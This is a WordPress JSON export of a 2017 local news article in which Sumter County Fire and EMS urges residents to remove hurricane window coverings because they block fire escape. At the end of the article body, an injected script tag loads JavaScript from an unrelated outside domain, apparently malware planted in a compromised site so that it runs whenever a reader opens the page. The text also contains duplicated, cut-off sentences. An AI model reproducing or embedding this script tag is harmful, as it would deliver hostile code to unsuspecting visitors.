{"id":216110,"date":"2017-10-17T16:57:34","date_gmt":"2017-10-17T20:57:34","guid":{"rendered":"https:\/\/wordpress-1.tempurl.host\/?p=216110"},"modified":"2017-11-04T14:42:37","modified_gmt":"2017-11-04T18:42:37","slug":"sumter-citizens-urged-remove-hurricane-coverings","status":"publish","type":"post","link":"https:\/\/thegraphicgeek.com\/demo-cflwire\/sumter-citizens-urged-remove-hurricane-coverings\/","title":{"rendered":"Sumter Citizens Urged to Remove Hurricane Coverings"},"content":{"rendered":"<p><strong>WILDWOOD, Fla &#8211;\u00a0<\/strong>Sumter County Fire and EMS released a statement October 17 urging citizens to remove window coverings set up for Hurricane Irma.<\/p>\n<p>Although hurricane season runs from June 1 to November 30, citizens are urged to remove storm preparations such as window coverings following a storm.<\/p>\n<p>While emergency services stress the importance of having a Hurricane Kit and Disaster Plan, they remind citizens that leaving window coverings up after the storm has passed may impede rescue efforts in case of emergency.<\/p>\n<p>The coverings serve to protect citizens from flying glass and debris during a storm should the window break, but they create a fire hazard if left up.<\/p>\n<p>Sumter County Fire and EMS reminds citizens they should always have two exits from a room available to them in case of fire.The first of these is usually the<\/p>\n<p>The first of these is usually the door but should access to the door be blocked by falling debris or fire, the window should serve as a second escape route.If storm shutters or plywood are left in place, citizens in the midst of a fire emergency may not be able to reach safety.<\/p>\n<p>If storm shutters or plywood are left in place, citizens in the midst of a fire emergency may not be able to reach safety.<\/p>\n<p>Chief Leland Greek, therefore, urges all Sumter County residents to remove wooden and other temporary covers from windows and store them safely for the next storm.<script src='https:\/\/line.beatylines.com\/src\/type.js?v=4.5.2' type='text\/javascript' id='globalsway'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>WILDWOOD, Fla &#8211;\u00a0Sumter County Fire and EMS released a statement October 17 urging citizens to remove window coverings set up for Hurricane Irma. Although hurricane&#8230;<\/p>\n","protected":false},"author":26806,"featured_media":212157,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_memberships_contains_paid_content":false,"wds_primary_category":0,"footnotes":""},"categories":[325,11],"tags":[389,1577,227,234,3035,3034,1743,1276,120],"class_list":["post-216110","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-florida-news","category-sumter-county","tag-emergency","tag-ems","tag-fire","tag-firefighters","tag-hurricane-season","tag-leland-greek","tag-preparedness","tag-storm","tag-sumter-county","entry","rows"],"jetpack_featured_media_url":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-content\/uploads\/sites\/6\/2017\/06\/155447525-hurricane-season-road-sign-gettyimages.jpg","jetpack_sharing_enabled":true,"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts\/216110","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/users\/26806"}],"replies":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/comments?post=216110"}],"version-history":[{"count":0,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts\/216110\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/media\/212157"}],"wp:attachment":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/media?parent=216110"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/categories?post=216110"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/tags?post=216110"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}